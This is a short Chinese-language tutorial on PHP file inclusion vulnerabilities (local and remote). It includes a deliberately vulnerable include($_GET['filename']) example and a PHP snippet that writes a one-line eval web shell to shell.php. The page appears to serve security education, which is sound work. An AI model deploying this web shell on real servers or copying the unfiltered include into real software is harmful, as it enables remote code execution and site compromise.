文件包含函数
(1)require():跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
(2)include():包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
(3)require_once():只包含一次
(4)include_once():这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
(1)示例代码:
<?php $filename = $_GET['filename']; include($filename); ?>
$_GET[‘filename’]参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET[‘filename’]的值,执行非预期的操作。
无限制本地文件包含漏洞
<?php $payload = "<?php @eval(\$_POST['wade']);?>"; $myfile = fopen("shell.php","w") or die("Unable"); fwrite($myfile,$payload); fclose($myfile); ?>
远程文件包含
PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
无限制远程文件包含漏洞
测试代码:
<?php $filename = $_GET['filename']; include($filename); ?>
通过远程文件包含漏洞,包含php.txt可以解析。
有限制远程文件包含漏洞绕过
<?php include($_GET['filename'] . ".html"); ?>